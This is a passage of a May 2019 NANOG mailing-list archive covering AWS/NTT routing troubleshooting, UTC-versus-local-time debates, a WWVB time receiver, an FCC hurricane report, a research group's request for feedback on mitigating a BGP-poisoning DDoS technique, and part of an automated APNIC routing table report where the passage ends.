Wednesday, May 08, 2019 10:56 AM To: nanog at nanog.org Subject: Routing issues to AWS environment. Hi are there any AWS engineers out there? We are seeing routing problems between NTT and AWS in Ashburn, Va and would like to find out which side is having the problem. Thanks, Curt -------------- next part -------------- An HTML attachment was scrubbed... URL: From dovid at telecurve.com Thu May 9 11:25:06 2019 From: dovid at telecurve.com (Dovid Bender) Date: Thu, 9 May 2019 07:25:06 -0400 Subject: Routing issues to AWS environment. In-Reply-To: <01b301d50652$c3f75970$4be60c50$@gmail.com> References: <01b301d50652$c3f75970$4be60c50$@gmail.com> Message-ID: Interesting at my 9-5 we use NTT exclusively for SIP traffic and it has been flawless. If there are any tests that you want me to run over NTT via their pop at 111 8th let me know. On Thu, May 9, 2019 at 6:35 AM Chuck Church wrote: > Are you sure the problem isn’t NTT? My buddy’s WISP peers with Spirit and > had a boatload of problems with random packet loss affecting initially just > SIP and RTP (both UDP). Spirit was blaming NTT. Problems went away when > Spirit stopped peering with NTT yesterday. Path is through Telia now to > their main SIP trunk provider. > > > > chuck > > > > *From:* NANOG *On Behalf Of *Curt Rice > *Sent:* Wednesday, May 08, 2019 10:56 AM > *To:* nanog at nanog.org > *Subject:* Routing issues to AWS environment. > > > > Hi are there any AWS engineers out there? We are seeing routing problems > between NTT and AWS in Ashburn, Va and would like to find out which side is > having the problem. > > > > Thanks, > > Curt > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From dot at dotat.at Thu May 9 13:15:07 2019 From: dot at dotat.at (Tony Finch) Date: Thu, 9 May 2019 14:15:07 +0100 Subject: NTP for ASBRs? In-Reply-To: References: <20190508165450.7F1FDD97@m0117458.ppops.net> <20190509005508.GB30181@meow.BKantor.net> Message-ID: Bryan Holloway wrote: > On 5/8/19 7:55 PM, Brian Kantor wrote: > > On Wed, May 08, 2019 at 07:47:56PM -0500, Bryan Holloway wrote: > > > > > > When a NOC-ling, in their own local timezone, says, "hey, what happened > > > two hours ago?", they have to make a calculation. > > > > Clocks are cheap. > > Cheap != free. You already got one with your computer, and if it is Free Software: $ TZ=Z date -d '2 hours ago' +%FT%TZ Tony. -- f.anthony.n.finch http://dotat.at/ Trafalgar: Northwesterly 3 or 4 in southeast, otherwise southwesterly 4 or 5, occasionally 6 in north. Moderate or rough. Occasional rain. Good, occasionally poor. From job at ntt.net Thu May 9 14:23:37 2019 From: job at ntt.net (Job Snijders) Date: Thu, 9 May 2019 16:23:37 +0200 Subject: Routing issues to AWS environment. In-Reply-To: <01b301d50652$c3f75970$4be60c50$@gmail.com> References: <01b301d50652$c3f75970$4be60c50$@gmail.com> Message-ID: <20190509142337.GY10554@hanna.meerval.net> Hi Chuck, On Thu, May 09, 2019 at 06:34:21AM -0400, Chuck Church wrote: > Are you sure the problem isn’t NTT? My buddy’s WISP peers with Spirit > and had a boatload of problems with random packet loss affecting > initially just SIP and RTP (both UDP). Spirit was blaming NTT. > Problems went away when Spirit stopped peering with NTT yesterday. > Path is through Telia now to their main SIP trunk provider. I don't know the specifics of what you reference, but in a large geographically dispersed network like NTT's backbone, I can assure you there will always be something down somewhere. Issues can take on many forms: sometimes it is a customer specific issue related to a single interface, sometimes something larger is going on. It is quite rare that the whole network is on fire, so in the general case is good to investigate and consider each and every report about potential issues separately. The excellent people at the NTT NOC are always available at noc at ntt.net or the phone numbers listed in PeeringDB. Kind regards, Job From James at arenalgroup.co Thu May 9 15:04:50 2019 From: James at arenalgroup.co (James Breeden) Date: Thu, 9 May 2019 15:04:50 +0000 Subject: Sprint Operations Message-ID: Hello, If anyone from Sprint Mobile operations is on list, could you reach out to me off list? Having issues with some ip ranges properly communicating with your WiFi Calling and SMS over IP hosts. James Sent via the Samsung Galaxy Note9, an AT&T 5G Evolution capable smartphone -------------- next part -------------- An HTML attachment was scrubbed... URL: From nellermann at broadaspect.com Thu May 9 15:05:43 2019 From: nellermann at broadaspect.com (Nick Ellermann) Date: Thu, 9 May 2019 15:05:43 +0000 Subject: Routing issues to AWS environment. In-Reply-To: <20190509142337.GY10554@hanna.meerval.net> References: <01b301d50652$c3f75970$4be60c50$@gmail.com> <20190509142337.GY10554@hanna.meerval.net> Message-ID: <8b022b2655b94ae1b7ec986fda442c66@exchange.broadaspect.local> Job, We have had a lot of dialog with the excellent people at NTT NOC this week, easily over a couple of hours in total. We were told to talk to AWS directly and have our customers talk to AWS. Basically, "it's not us" response. So we reached out to our buddies in NANOG. We have no way to get AWS to communicate to us, we don't directly peer with them like many other cloud providers out of the Equinix IX. We have a work around in the fact that we broke up some of our Ashburn /21 advertisements into /23 and /24 advertisements of the ones that included our customer IP assignments. The result was pushing a more specific route out our Ashburn peers versus our out of the area peers such as in Chicago is helping. That has helped resolve our direct customer issues, but leads us to believe where we have BGP peering in other regions outside of Ashburn, VA AWS isn't honoring our AS prepending. The original issue is that our local customers in the DC region get routed from our AS over NTT into AWS in Ashburn for AWS-East region environments, but AWS is sending the return traffic over to Chicago to one of our other upstream peers. For a few select customers this is breaking their applications completely with not being able to connect or severely disrupting performance and bringing the applications to a crawl. Yet, we can push iperf traffic in our own AWS instances with zero packet loss or perceivable issue other than the asymmetrical routing that is adding around 30ms to the return latency versus the typical 2ms to 3ms latency. We do have Layer2 between our POPs. Is ignoring AS prepending common? Given my example issue, what direction would you normally take? Sincerely, Nick Ellermann -----Original Message----- From: NANOG On Behalf Of Job Snijders Sent: Thursday, May 9, 2019 10:24 To: Chuck Church Cc: nanog at nanog.org Subject: Re: Routing issues to AWS environment. Hi Chuck, On Thu, May 09, 2019 at 06:34:21AM -0400, Chuck Church wrote: > Are you sure the problem isn’t NTT? My buddy’s WISP peers with Spirit > and had a boatload of problems with random packet loss affecting > initially just SIP and RTP (both UDP). Spirit was blaming NTT. > Problems went away when Spirit stopped peering with NTT yesterday. > Path is through Telia now to their main SIP trunk provider. I don't know the specifics of what you reference, but in a large geographically dispersed network like NTT's backbone, I can assure you there will always be something down somewhere. Issues can take on many forms: sometimes it is a customer specific issue related to a single interface, sometimes something larger is going on. It is quite rare that the whole network is on fire, so in the general case is good to investigate and consider each and every report about potential issues separately. The excellent people at the NTT NOC are always available at noc at ntt.net or the phone numbers listed in PeeringDB. Kind regards, Job From job at ntt.net Thu May 9 15:40:48 2019 From: job at ntt.net (Job Snijders) Date: Thu, 9 May 2019 17:40:48 +0200 Subject: Routing issues to AWS environment. In-Reply-To: <8b022b2655b94ae1b7ec986fda442c66@exchange.broadaspect.local> References: <01b301d50652$c3f75970$4be60c50$@gmail.com> <20190509142337.GY10554@hanna.meerval.net> <8b022b2655b94ae1b7ec986fda442c66@exchange.broadaspect.local> Message-ID: <20190509154048.GZ10554@hanna.meerval.net> Dear Nick, I sympathize with you plight, network debugging can be quite a test of character at times. I am snipping some text as I can't comment on on specific details in this case, but you do raise two excellent questions which I can maybe help with. On Thu, May 09, 2019 at 03:05:43PM +0000, Nick Ellermann wrote: > Is ignoring AS prepending common? It is not common, but yes it does happen. Some cloudproviders and CDNs have broken away from the traditional BGP best path selection and use SDN controllers to steer traffic. I don't know if in play here or not. > Given my example issue, what direction would you normally take? Your issue reminds me of an issue I encountered some years ago. A member of the Dutch community reported that seemingly random pairs of IP addresses could not reach each other across an Internet Exchange fabric. It drove this person crazy because none of the involved parties could find anything wrong within their domain. The debugging process was hard because the person had to ask for pingsweeps, traceroutes, would get information back without timestamps, didn't have the ability to alter source and destination ports on packets sent for debugging. It turned out to be a faulty linecard, that under specific circumstances would hash traffic into a blackhole. It took WEEKS to find this. So, I identified a need for a more advanced debugging platform - one that wouldn't require human-to-human interaction to help operators debug things, in other words it seemed to make sense to stand up linux shell servers in lots of networks and share access with each other. This project is the NLNOG RING and I'd recommend you to participate. An introduction can be found here https://www.youtube.com/watch?v=TlElSBBVFLw and a nice use case video is available here https://www.youtube.com/watch?v=mDIq8xc2QcQ NTT, Amazon, and many others are part of it, and I assume that you have SSH access to the problematic destination so I hope you can use tcpdump there to verify if you can or can't receive packets coming from NLNOG RING nodes. You mentioned that altering your announcements (deaggregating, prepending) resolves the issue, this strongly suggests that something somewhere is broken and it is a matter of triangulating until you've find the shortest path that exhibits the problem. Perhaps you can find something like "Between these two nodes, when I use source port X, protocol Y, destport Z, traffic doesn't arrive". Website: https://ring.nlnog.net/ There also is an IRC channel where people perhaps can help you make the best use of this tool. Kind regards, Job From Tom.D.Stockdale at sprint.com Thu May 9 15:30:12 2019 From: Tom.D.Stockdale at sprint.com (Stockdale, Tom D [CTO]) Date: Thu, 9 May 2019 15:30:12 +0000 Subject: FW: Sprint Operations In-Reply-To: References: Message-ID: James, Can you send me some specifics so I can try and figure out how to help with your concerns? V/r, Tom From: Fiumano, Michael F [CTO] Subject: FW: Sprint Operations Tom, Stephanie, Is this something you could help with? Or fwd in the right direction? Thanks, Michael Fiumano Manager, Sprint Internet & WAN Engineering From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of James Breeden Sent: Thursday, May 9, 2019 11:05 AM To: nanog at nanog.org Subject: Sprint Operations CAUTION: This email originated from outside of the organization. Do not click links or open attachments unless you recognize the sender and know the content is safe. Hello, If anyone from Sprint Mobile operations is on list, could you reach out to me off list? Having issues with some ip ranges properly communicating with your WiFi Calling and SMS over IP hosts. James Sent via the Samsung Galaxy Note9, an AT&T 5G Evolution capable smartphone -------------- next part -------------- An HTML attachment was scrubbed... URL: From andy at strugglers.net Thu May 9 16:02:05 2019 From: andy at strugglers.net (Andy Smith) Date: Thu, 9 May 2019 16:02:05 +0000 Subject: NTP for ASBRs? In-Reply-To: References: <20190508140011.7F1FE709@m0117458.ppops.net> <3889.1557366092@turing-police> Message-ID: <20190509160205.GQ4569@bitfolk.com> Hello, On Wed, May 08, 2019 at 10:27:30PM -0400, Christopher Morrow wrote: > UTC is nice > EST is nice > PDT is nice.. > > pick one, deal with the eccentricities of that decision without > foisting your religion on the rest of me. :) Yes and no. Anything non-UTC can cause issues when working with other organisations. More than once I've received logs or incident notifications from suppliers without a time zone stated at all. I've then asked the time zone only to be told "It's PST" when in fact the real answer was PDT as the supplier was currently in DST. Others shouldn't have to work this hard, epseically with DST dates being a matter of local legislation, and one way of helping that to happen from the first line support up is to use UTC. Cheers, Andy From morrowc.lists at gmail.com Thu May 9 19:16:59 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 9 May 2019 15:16:59 -0400 Subject: NTP for ASBRs? In-Reply-To: <20190509160205.GQ4569@bitfolk.com> References: <20190508140011.7F1FE709@m0117458.ppops.net> <3889.1557366092@turing-police> <20190509160205.GQ4569@bitfolk.com> Message-ID: On Thu, May 9, 2019 at 3:12 PM Andy Smith wrote: > > Hello, > > On Wed, May 08, 2019 at 10:27:30PM -0400, Christopher Morrow wrote: > > UTC is nice > > EST is nice > > PDT is nice.. > > > > pick one, deal with the eccentricities of that decision without > > foisting your religion on the rest of me. :) > > Yes and no. Anything non-UTC can cause issues when working with > other organisations. "deal with the eccentricities of that decision without foisting your religion on the rest of me" I clearly mistyped: "me" at the end there with "us"... Your point is squarely on: Hey, you do you... when you talk to me be prepared to normalize my TZ and yours. (which may mean;: send in UTC store in ElboniaStandardTime" > More than once I've received logs or incident notifications from > suppliers without a time zone stated at all. I've then asked the > time zone only to be told "It's PST" when in fact the real answer > was PDT as the supplier was currently in DST. Others shouldn't have > to work this hard, epseically with DST dates being a matter of local > legislation, and one way of helping that to happen from the first > line support up is to use UTC. > > Cheers, > Andy From esr at thyrsus.com Thu May 9 20:01:48 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 9 May 2019 16:01:48 -0400 Subject: NTP for ASBRs? In-Reply-To: References: <20190508165450.7F1FDD97@m0117458.ppops.net> <20190509005508.GB30181@meow.BKantor.net> <20190509035357.GB8167@cmadams.net> <20190509071042.GA1375@thyrsus.com> Message-ID: <20190509200148.GA16992@thyrsus.com> Royce Williams : > > Anybody know of anything fitting that description that you might want > > to deploy in a data center as a Stratum 1? If such a creature exists I > > shall contrive to get my lunch hooks on one and write a driver for it. > > That would be fantastic. I mentioned it on Freenode when it first came out > - but it may have escaped your attention. :) > > An eBay search for "EverSet ES100 WWVB BPSK Phase Modulation Receiver Kit" > should prove fruitful. I have one - but I haven't had time to tinker with > it yet. > > The kit comes with the double-antenna setup that appears to be key to the > improved reception. In the clocks, the antennas are at 90 degrees relative > to each other. Alas. In concept, that is extremely interesting. But a bit too bare-metal for me; first I'd have to recruit help to design and build it into something one of my computers can talk to. OTOH, I have written successful I2C code; if something like this hardware were a Raspberry Pi HAT I'd have bought one before I finished typing this reply and probably have a test system up in 24 hours. So it's close. Real close. Relevant link: https://www.ntpsec.org/white-papers/stratum-1-microserver-howto/ It would be delightful to add a WWVB radio version of the build to that document. -- Eric S. Raymond From nanog at ics-il.net Thu May 9 20:41:51 2019 From: nanog at ics-il.net (Mike Hammett) Date: Thu, 9 May 2019 15:41:51 -0500 (CDT) Subject: NTP for ASBRs? In-Reply-To: References: <20190508140011.7F1FE709@m0117458.ppops.net> <3889.1557366092@turing-police> <20190509160205.GQ4569@bitfolk.com> Message-ID: <1520595637.59.1557434508094.JavaMail.mhammett@ThunderFuck> Many systems have less than ideal separation of collection, storage, viewing, export, etc. timezones. I prefer to view in local time. I may wish to export in another. Storage in UTC to facilitate all of this makes sense. Normalizing input timezones would be nice. A boy can only dream... ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Christopher Morrow" To: "nanog list" Sent: Thursday, May 9, 2019 2:16:59 PM Subject: Re: NTP for ASBRs? On Thu, May 9, 2019 at 3:12 PM Andy Smith wrote: > > Hello, > > On Wed, May 08, 2019 at 10:27:30PM -0400, Christopher Morrow wrote: > > UTC is nice > > EST is nice > > PDT is nice.. > > > > pick one, deal with the eccentricities of that decision without > > foisting your religion on the rest of me. :) > > Yes and no. Anything non-UTC can cause issues when working with > other organisations. "deal with the eccentricities of that decision without foisting your religion on the rest of me" I clearly mistyped: "me" at the end there with "us"... Your point is squarely on: Hey, you do you... when you talk to me be prepared to normalize my TZ and yours. (which may mean;: send in UTC store in ElboniaStandardTime" > More than once I've received logs or incident notifications from > suppliers without a time zone stated at all. I've then asked the > time zone only to be told "It's PST" when in fact the real answer > was PDT as the supplier was currently in DST. Others shouldn't have > to work this hard, epseically with DST dates being a matter of local > legislation, and one way of helping that to happen from the first > line support up is to use UTC. > > Cheers, > Andy -------------- next part -------------- An HTML attachment was scrubbed... URL: From sean at donelan.com Thu May 9 23:41:49 2019 From: sean at donelan.com (Sean Donelan) Date: Thu, 9 May 2019 19:41:49 -0400 (EDT) Subject: FCC Hurricane Michael after-action report Message-ID: The FCC has released its report and analysis of Hurricane Michael impact on communications: preparation, effect and recovery. https://www.fcc.gov/document/fcc-releases-report-communication-impacts-hurricane-michael-0 Conclusions and Recommendations 51. Backhaul outages loomed large as an impediment to communications recovery. Uncoordinated post-storm recovery efforts between and among communications, utility, and debris removal teams created unnecessary delays to a speedy return to service. Customers who had communications service restored – only to lose it again almost immediately because of a fiber cut – provide a clear example of how better cross-sector coordination could have improved the restoration process. From jms at vols.utk.edu Fri May 10 13:25:11 2019 From: jms at vols.utk.edu (Jared Smith) Date: Fri, 10 May 2019 09:25:11 -0400 Subject: Seeking Feedback on Mitigation of New BGP-driven Attack In-Reply-To: <9f8da9d7-0852-42d4-9c5d-2e2a40d68d06@Spark> References: <9f8da9d7-0852-42d4-9c5d-2e2a40d68d06@Spark> Message-ID: Hello, Our research lab at the University of Tennessee (volsec.org) has recently completed a study on channeling link-flooding attack (transit link DDoS) flows via BGP poisoning: the Maestro attack. We are seeking feedback on mitigation (see below). A brief summary from the abstract: "Executed from a compromised or malicious Autonomous System (AS), Maestro advertises specific-prefix routes poisoned for selected ASes to collapse inbound traffic paths onto a single target link. A greedy heuristic fed by publicly available AS relationship data iteratively builds the set of ASes to poison. Given a compromised BGP speaker with advantageous positioning relative to the target link in the Internet topology, an adversary can expect to enhance flow density by more than 30%. For a large botnet (e.g., Mirai), the bottom line result is augmenting a DDoS by more than a million additional infected hosts. Interestingly, the size of the adversary-controlled AS plays little role in this amplification effect. Devastating attacks on core links can be executed by small, resource-limited ASes." We are seeking feedback from operators on the attack and the proposed mitigations we have identified. While we have worked with our campus BGP operators, we are reaching out to the broader community for additional insights. Other than general notes/comments, we have two specific questions that we would like to include feedback for in the final paper soon to be submitted: 1) Do you already filter poisoned/path prepend advertisements? This would mitigate the attack. 2) After seeing this attack, would you consider adding poison filtering or some other Day mitigation? The preprint is available at: tiny.utk.edu/maestro. See Section 7 on defenses. Please reply with any thoughts. Thank you in advance for comments, insight, and general feedback. Best, Tyler McDaniel, Jared Smith, and Max Schuchard UT Computer Security Lab volsec.org -------------- next part -------------- An HTML attachment was scrubbed... URL: From morrowc.lists at gmail.com Fri May 10 15:03:17 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Fri, 10 May 2019 11:03:17 -0400 Subject: NTP for ASBRs? In-Reply-To: <1520595637.59.1557434508094.JavaMail.mhammett@ThunderFuck> References: <20190508140011.7F1FE709@m0117458.ppops.net> <3889.1557366092@turing-police> <20190509160205.GQ4569@bitfolk.com> <1520595637.59.1557434508094.JavaMail.mhammett@ThunderFuck> Message-ID: On Thu, May 9, 2019 at 4:42 PM Mike Hammett wrote: > > Many systems have less than ideal separation of collection, storage, viewing, export, etc. timezones. I prefer to view in local time. I may wish to export in another. Storage in UTC to facilitate all of this makes sense. Normalizing input timezones would be nice. > > A boy can only dream... > > > > ----- > Mike "Dreamer of Dreams" Hammett There I fixed it for ya! :) (I agree, btw, that this sort of thing would be nice :) and some folk can implement that today even :) ) > Intelligent Computing Solutions > http://www.ics-il.com > > Midwest-IX > http://www.midwest-ix.com > > ________________________________ > From: "Christopher Morrow" > To: "nanog list" > Sent: Thursday, May 9, 2019 2:16:59 PM > Subject: Re: NTP for ASBRs? > > On Thu, May 9, 2019 at 3:12 PM Andy Smith wrote: > > > > Hello, > > > > On Wed, May 08, 2019 at 10:27:30PM -0400, Christopher Morrow wrote: > > > UTC is nice > > > EST is nice > > > PDT is nice.. > > > > > > pick one, deal with the eccentricities of that decision without > > > foisting your religion on the rest of me. :) > > > > Yes and no. Anything non-UTC can cause issues when working with > > other organisations. > > "deal with the eccentricities of that decision without > foisting your religion on the rest of me" > > I clearly mistyped: "me" at the end there with "us"... Your point is > squarely on: Hey, you do you... when you talk to me be prepared to > normalize my TZ and yours. > (which may mean;: send in UTC store in ElboniaStandardTime" > > > More than once I've received logs or incident notifications from > > suppliers without a time zone stated at all. I've then asked the > > time zone only to be told "It's PST" when in fact the real answer > > was PDT as the supplier was currently in DST. Others shouldn't have > > to work this hard, epseically with DST dates being a matter of local > > legislation, and one way of helping that to happen from the first > > line support up is to use UTC. > > > > Cheers, > > Andy > From cscora at apnic.net Fri May 10 18:03:19 2019 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 11 May 2019 04:03:19 +1000 (AEST) Subject: Weekly Routing Table Report Message-ID: <20190510180319.ABD74C44A1@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 11 May, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 753151 Prefixes after maximum aggregation (per Origin AS): 288263 Deaggregation factor: 2.61 Unique aggregates announced (without unneeded subnets): 360475 Total ASes present in the Internet Routing Table: 64188 Prefixes per ASN: 11.73 Origin-only ASes present in the Internet Routing Table: 55224 Origin ASes announcing only one prefix: 23795 Transit ASes present in the Internet Routing Table: 8964 Transit-only ASes present in the Internet Routing Table: 270 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 34 Max AS path prepend of ASN ( 8697) 27 Prefixes from unregistered ASNs in the Routing Table: 24 Number of instances of unregistered ASNs: 28 Number of 32-bit ASNs allocated by the RIRs: 26896 Number of 32-bit ASNs visible in the Routing Table: 22003 Prefixes from 32-bit ASNs in the Routing Table: 97673 Number of bogon 32-bit ASNs visible in the Routing Table: 21 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 259 Number of addresses announced to Internet: 2850178944 Equivalent to 169 /8s, 226 /16s and 71 /24s Percentage of available address space announced: 77.0 Percentage of allocated address space announced: 77.0 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.2 Total number of prefixes smaller than registry allocations: 252122 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 203409 Total APNIC prefixes after maximum aggregation: 59122 APNIC Deaggregation factor: 3.44 Prefixes being announced from the APNIC address blocks: 199716 Unique aggregates announced from the APNIC address blocks: 82255 APNIC Region origin ASes present in the Internet Routing Table: 9722 APNIC Prefixes per ASN: 20.54 APNIC Region origin ASes announcing only one prefix: 2722 APNIC Region transit ASes present in the Internet Routing Table: 1448 Average APNIC Region AS path length visible: 4.5 Max APNIC Region AS path length visible: 26 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4726 Number of APNIC addresses announced to Internet: 773680000 Equivalent to 46 /8s, 29 /16s and 107 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-139577 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 224174 Total ARIN prefixes after maximum aggregation: 104803 ARIN Deaggregation factor: 2.14 Prefixes being announced from the ARIN address blocks: 223364 Unique aggregates announced from the ARIN address blocks: 105536 ARIN Region origin ASes present in the Internet Routing Table: 18471 ARIN Prefixes per ASN: 12.09 ARIN Region origin ASes announcing only one prefix: 6857 ARIN Region transit ASes present in the Internet Routing Table: 1899 Average ARIN Region AS path length visible: 3.9 Max ARIN Region AS path length visible: 24 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2701 Number of ARIN addresses announced to Internet: 1077912448 Equivalent to 64 /8s, 63 /16s and 163 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 45/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 207169 Total RIPE prefixes after maximum aggregation: 98242 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 203505 Unique aggregates announced from the RIPE address blocks: 120752 RIPE Region origin ASes present in the Internet Routing Table: 26052 RIPE Prefixes per ASN: 7.81 RIPE Region origin ASes announcing only one prefix: 11566 RIPE Region transit ASes present in the Internet Routing Table: 3718 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8100 Number of RIPE addresses announced to Internet: 719259008 Equivalent to 42 /8s, 223 /16s and 5 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 96963 Total LACNIC prefixes after maximum aggregation: 21780 LACNIC Deaggregation factor: 4.45 Prefixes being announced from the LACNIC address blocks: 98376 Unique aggregates announced from the LACNIC address blocks: 42592 LACNIC Region origin ASes present in the Internet Routing Table: 8385 LACNIC Prefixes per ASN: 11.73 LACNIC Region origin ASes announcing only one prefix: 2216 LACNIC Region transit ASes present in the Internet Routing Table: 1540 Average LACNIC Region AS path length visible: 5.1 Max LACNIC Region AS path length visible: 31 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 5924 Number of LACNIC addresses announced to Internet: 173985536 Equivalent to 10 /8s, 94 /16s and 207 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21411 Total AfriNIC prefixes after maximum aggregation: 4297 AfriNIC Deaggregation factor: 4.98 Prefixes being announced from the AfriNIC address blocks: 27931 Unique aggregates announced from the AfriNIC address blocks: 9104 AfriNIC Region origin ASes present in the Internet Routing Table: 1272 AfriNIC Prefixes per ASN: 21.96 AfriNIC Region origin ASes announcing only one prefix: 434 AfriNIC Region transit ASes present in the Internet Routing Table: 244 Average AfriNIC Region AS path length visible: 5.0 Max AfriNIC Region AS path length visible: 22 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 552 Number of AfriNIC addresses announced to Internet: 104790272 Equivalent to 6 /8s, 62 /16s and 249 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4740 546 553 TPG-INTERNET-AP TPG Telecom Limited, AU 4538 3197 4192 74 ERX-CERNET-BKB China Education and Rese 7552 3159 1443 27 VIETEL-AS-AP Viettel Group, VN 45899 3032 1741 111 VNPT-AS-VN VNPT Corp, VN 9808 2938 9043 62 CMNET-GD Guangdong Mobile Communication 9829 2734 1496 551 BSNL-NIB National Internet Backbone, IN 4766 2543 11120 760 KIXS-AS-KR Korea Telecom, KR 9394 2155 4882 26 CTTNET China TieTong Telecommunications 4755 2138 429 184 TATACOMM-AS TATA Communications formerl 9498 2052 427 170 BBIL-AP BHARTI Airtel Ltd., IN Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6327 3656 1325 93 SHAW - Shaw Communications Inc., CA 11492 3651 238 584 CABLEONE - CABLE ONE, INC., US 7155 3566 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 22773 3399 2974 157 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 16509 2606 5529 1153 AMAZON-02 - Amazon.com, Inc., US 16625 2432 1330 1843 AKAMAI-AS - Akamai Technologies, Inc., 30036 2160 350 176 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2146 2747 527 CHARTER-20115 - Charter Communications, 18566 2101 405 108 MEGAPATH5-US - MegaPath Corporation, US 5650 2086 3074 1462 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5430 1629 140 UNI2-AS, ES 39891 3778 203 20 ALJAWWALSTC-AS, SA 8551 3219 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne 20940 2670 530 1926 AKAMAI-ASN1, US 12389 2243 2222 642 ROSTELECOM-AS, RU 34984 2078 343 541 